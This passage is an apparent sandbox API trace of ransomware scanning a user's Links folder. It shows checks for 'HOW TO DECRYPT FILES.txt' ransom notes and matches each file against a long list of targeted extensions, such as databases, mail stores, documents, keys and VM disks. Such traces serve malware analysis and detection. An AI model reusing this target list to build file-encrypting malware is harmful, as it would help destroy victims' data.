returned 0 [0090.225] lstrlenA (lpString="*.csv") returned 5 [0090.225] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0090.225] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0090.226] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Desktop.lnk") returned 1 [0090.226] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Desktop.lnk") returned 1 [0090.226] lstrcmpiA (lpString1="", lpString2="Desktop.lnk") returned -1 [0090.226] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini") returned="desktop.ini" [0090.226] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\" [0090.226] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="" [0090.226] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\HOW TO DECRYPT FILES.txt" [0090.226] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\how to decrypt files.txt")) returned 0x20 [0090.226] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\", lpString2="Desktop.lnk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk" [0090.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.ems") returned 0 [0090.226] lstrlenA (lpString="*.ems") returned 5 [0090.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.db") returned 0 [0090.226] lstrlenA (lpString="*.db") returned 4 [0090.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.dbf") returned 0 [0090.226] lstrlenA (lpString="*.dbf") returned 5 [0090.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.myox") returned 0 [0090.226] lstrlenA (lpString="*.myox") returned 6 [0090.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.myo") returned 0 [0090.227] lstrlenA (lpString="*.myo") returned 5 [0090.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.qbw") returned 0 [0090.227] lstrlenA (lpString="*.qbw") returned 5 [0090.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.qbb") returned 0 [0090.227] lstrlenA (lpString="*.qbb") returned 5 [0090.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.qbm") returned 0 [0090.227] lstrlenA (lpString="*.qbm") returned 5 [0090.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.qbo") returned 0 [0090.227] lstrlenA (lpString="*.qbo") returned 5 [0090.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.qbx") returned 0 [0090.227] lstrlenA (lpString="*.qbx") returned 5 [0090.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.qba") returned 0 [0090.227] lstrlenA (lpString="*.qba") returned 5 [0090.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.qby") returned 0 [0090.227] lstrlenA (lpString="*.qby") returned 5 [0090.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.qbj") returned 0 [0090.227] lstrlenA (lpString="*.qbj") returned 5 [0090.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.ofx") returned 0 [0090.228] lstrlenA (lpString="*.ofx") returned 5 [0090.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.qif") returned 0 [0090.228] lstrlenA (lpString="*.qif") returned 5 [0090.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.mye") returned 0 [0090.228] lstrlenA (lpString="*.mye") returned 5 [0090.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.mbox") returned 0 [0090.228] lstrlenA (lpString="*.mbox") returned 6 [0090.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.eml") returned 0 [0090.228] lstrlenA (lpString="*.eml") returned 5 [0090.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.pst") returned 0 [0090.228] lstrlenA (lpString="*.pst") returned 5 [0090.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.ost") returned 0 [0090.228] lstrlenA (lpString="*.ost") returned 5 [0090.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.idx") returned 0 [0090.228] lstrlenA (lpString="*.idx") returned 5 [0090.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.dbx") returned 0 [0090.228] lstrlenA (lpString="*.dbx") returned 5 [0090.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.sql") returned 0 [0090.229] lstrlenA (lpString="*.sql") returned 5 [0090.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.mdb") returned 0 [0090.229] lstrlenA (lpString="*.mdb") returned 5 [0090.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.fdb") returned 0 [0090.229] lstrlenA (lpString="*.fdb") returned 5 [0090.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.wab") returned 0 [0090.229] lstrlenA (lpString="*.wab") returned 5 [0090.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.dat") returned 0 [0090.229] lstrlenA (lpString="*.dat") returned 5 [0090.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.txt") returned 0 [0090.229] lstrlenA (lpString="*.txt") returned 5 [0090.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.jpeg") returned 0 [0090.229] lstrlenA (lpString="*.jpeg") returned 6 [0090.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.jpg") returned 0 [0090.229] lstrlenA (lpString="*.jpg") returned 5 [0090.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.png") returned 0 [0090.229] lstrlenA (lpString="*.png") returned 5 [0090.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.php") returned 0 [0090.229] lstrlenA (lpString="*.php") returned 5 [0090.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.cs") returned 0 [0090.230] lstrlenA (lpString="*.cs") returned 4 [0090.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.cpp") returned 0 [0090.230] lstrlenA (lpString="*.cpp") returned 5 [0090.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.rar") returned 0 [0090.230] lstrlenA (lpString="*.rar") returned 5 [0090.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.zip") returned 0 [0090.230] lstrlenA (lpString="*.zip") returned 5 [0090.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.html") returned 0 [0090.230] lstrlenA (lpString="*.html") returned 6 [0090.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.htm") returned 0 [0090.230] lstrlenA (lpString="*.htm") returned 5 [0090.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.xlsx") returned 0 [0090.230] lstrlenA (lpString="*.xlsx") returned 6 [0090.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.xls") returned 0 [0090.230] lstrlenA (lpString="*.xls") returned 5 [0090.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.mp4") returned 0 [0090.230] lstrlenA (lpString="*.mp4") returned 5 [0090.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.ppt") returned 0 [0090.230] lstrlenA (lpString="*.ppt") returned 5 [0090.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.pptx") returned 0 [0090.231] lstrlenA (lpString="*.pptx") returned 6 [0090.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.doc") returned 0 [0090.231] lstrlenA (lpString="*.doc") returned 5 [0090.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.dot") returned 0 [0090.231] lstrlenA (lpString="*.dot") returned 5 [0090.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.docx") returned 0 [0090.231] lstrlenA (lpString="*.docx") returned 6 [0090.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.7z") returned 0 [0090.231] lstrlenA (lpString="*.7z") returned 4 [0090.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.tar") returned 0 [0090.231] lstrlenA (lpString="*.tar") returned 5 [0090.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.bz2") returned 0 [0090.231] lstrlenA (lpString="*.bz2") returned 5 [0090.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.gz") returned 0 [0090.231] lstrlenA (lpString="*.gz") returned 4 [0090.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.mkv") returned 0 [0090.232] lstrlenA (lpString="*.mkv") returned 5 [0090.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.eml") returned 0 [0090.232] lstrlenA (lpString="*.eml") returned 5 [0090.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.msg") returned 0 [0090.232] lstrlenA (lpString="*.msg") returned 5 [0090.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.edb") returned 0 [0090.232] lstrlenA (lpString="*.edb") returned 5 [0090.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.accdb") returned 0 [0090.232] lstrlenA (lpString="*.accdb") returned 7 [0090.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.odb") returned 0 [0090.232] lstrlenA (lpString="*.odb") returned 5 [0090.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.java") returned 0 [0090.232] lstrlenA (lpString="*.java") returned 6 [0090.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.asm") returned 0 [0090.232] lstrlenA (lpString="*.asm") returned 5 [0090.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.pfx") returned 0 [0090.232] lstrlenA (lpString="*.pfx") returned 5 [0090.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.pem") returned 0 [0090.233] lstrlenA (lpString="*.pem") returned 5 [0090.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.p12") returned 0 [0090.233] lstrlenA (lpString="*.p12") returned 5 [0090.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.gpg") returned 0 [0090.233] lstrlenA (lpString="*.gpg") returned 5 [0090.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.vsd") returned 0 [0090.233] lstrlenA (lpString="*.vsd") returned 5 [0090.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.odg") returned 0 [0090.233] lstrlenA (lpString="*.odg") returned 5 [0090.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.raw") returned 0 [0090.233] lstrlenA (lpString="*.raw") returned 5 [0090.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.nef") returned 0 [0090.233] lstrlenA (lpString="*.nef") returned 5 [0090.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.svg") returned 0 [0090.234] lstrlenA (lpString="*.svg") returned 5 [0090.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.psd") returned 0 [0090.234] lstrlenA (lpString="*.psd") returned 5 [0090.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.vmx") returned 0 [0090.234] lstrlenA (lpString="*.vmx") returned 5 [0090.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.vmdk") returned 0 [0090.234] lstrlenA (lpString="*.vmdk") returned 6 [0090.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.vdi") returned 0 [0090.234] lstrlenA (lpString="*.vdi") returned 5 [0090.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.lay6") returned 0 [0090.234] lstrlenA (lpString="*.lay6") returned 6 [0090.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.mpeg") returned 0 [0090.234] lstrlenA (lpString="*.mpeg") returned 6 [0090.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.djvu") returned 0 [0090.234] lstrlenA (lpString="*.djvu") returned 6 [0090.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.tiff") returned 0 [0090.234] lstrlenA (lpString="*.tiff") returned 6 [0090.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.backup") returned 0 [0090.234] lstrlenA (lpString="*.backup") returned 8 [0090.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.pdf") returned 0 [0090.235] lstrlenA (lpString="*.pdf") returned 5 [0090.235] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.cert") returned 0 [0090.235] lstrlenA (lpString="*.cert") returned 6 [0090.235] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.docm") returned 0 [0090.235] lstrlenA (lpString="*.docm") returned 6 [0090.235] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.xlsm") returned 0 [0090.235] lstrlenA (lpString="*.xlsm") returned 6 [0090.235] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.dwg") returned 0 [0090.235] lstrlenA (lpString="*.dwg") returned 5 [0090.235] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.nd") returned 0 [0090.235] lstrlenA (lpString="*.nd") returned 4 [0090.235] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.tlg") returned 0 [0090.235] lstrlenA (lpString="*.tlg") returned 5 [0090.235] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.lgb") returned 0 [0090.235] lstrlenA (lpString="*.lgb") returned 5 [0090.235] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.mov") returned 0 [0090.235] lstrlenA (lpString="*.mov") returned 5 [0090.235] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.xdw") returned 0 [0090.235] lstrlenA (lpString="*.xdw") returned 5 [0090.235] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.ods") returned 0 [0090.236] lstrlenA (lpString="*.ods") returned 5 [0090.236] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.wav") returned 0 [0090.236] lstrlenA (lpString="*.wav") returned 5 [0090.236] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.mp3") returned 0 [0090.236] lstrlenA (lpString="*.mp3") returned 5 [0090.236] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.aiff") returned 0 [0090.236] lstrlenA (lpString="*.aiff") returned 6 [0090.236] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.flac") returned 0 [0090.236] lstrlenA (lpString="*.flac") returned 6 [0090.236] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.m4a") returned 0 [0090.236] lstrlenA (lpString="*.m4a") returned 5 [0090.236] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk", pszSpec="*.csv") returned 0 [0090.236] lstrlenA (lpString="*.csv") returned 5 [0090.236] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0090.236] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0090.236] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Downloads.lnk") returned 1 [0090.236] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Downloads.lnk") returned 1 [0090.236] lstrcmpiA (lpString1="", lpString2="Downloads.lnk") returned -1 [0090.236] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk") returned="Desktop.lnk" [0090.236] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\" [0090.237] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="" [0090.237] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\HOW TO DECRYPT FILES.txt" [0090.237] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\how to decrypt files.txt")) returned 0x20 [0090.237] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\", lpString2="Downloads.lnk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk" [0090.237] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.ems") returned 0 [0090.237] lstrlenA (lpString="*.ems") returned 5 [0090.237] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.db") returned 0 [0090.237] lstrlenA (lpString="*.db") returned 4 [0090.237] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.dbf") returned 0 [0090.237] lstrlenA (lpString="*.dbf") returned 5 [0090.237] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.myox") returned 0 [0090.237] lstrlenA (lpString="*.myox") returned 6 [0090.237] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.myo") returned 0 [0090.237] lstrlenA (lpString="*.myo") returned 5 [0090.237] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.qbw") returned 0 [0090.237] lstrlenA (lpString="*.qbw") returned 5 [0090.238] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.qbb") returned 0 [0090.238] lstrlenA (lpString="*.qbb") returned 5 [0090.238] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.qbm") returned 0 [0090.238] lstrlenA (lpString="*.qbm") returned 5 [0090.238] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.qbo") returned 0 [0090.238] lstrlenA (lpString="*.qbo") returned 5 [0090.238] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.qbx") returned 0 [0090.238] lstrlenA (lpString="*.qbx") returned 5 [0090.238] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.qba") returned 0 [0090.238] lstrlenA (lpString="*.qba") returned 5 [0090.238] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.qby") returned 0 [0090.238] lstrlenA (lpString="*.qby") returned 5 [0090.238] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.qbj") returned 0 [0090.238] lstrlenA (lpString="*.qbj") returned 5 [0090.238] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.ofx") returned 0 [0090.238] lstrlenA (lpString="*.ofx") returned 5 [0090.238] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.qif") returned 0 [0090.238] lstrlenA (lpString="*.qif") returned 5 [0090.238] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.mye") returned 0 [0090.238] lstrlenA (lpString="*.mye") returned 5 [0090.239] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.mbox") returned 0 [0090.239] lstrlenA (lpString="*.mbox") returned 6 [0090.239] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.eml") returned 0 [0090.239] lstrlenA (lpString="*.eml") returned 5 [0090.239] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.pst") returned 0 [0090.239] lstrlenA (lpString="*.pst") returned 5 [0090.239] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.ost") returned 0 [0090.239] lstrlenA (lpString="*.ost") returned 5 [0090.239] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.idx") returned 0 [0090.239] lstrlenA (lpString="*.idx") returned 5 [0090.239] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.dbx") returned 0 [0090.239] lstrlenA 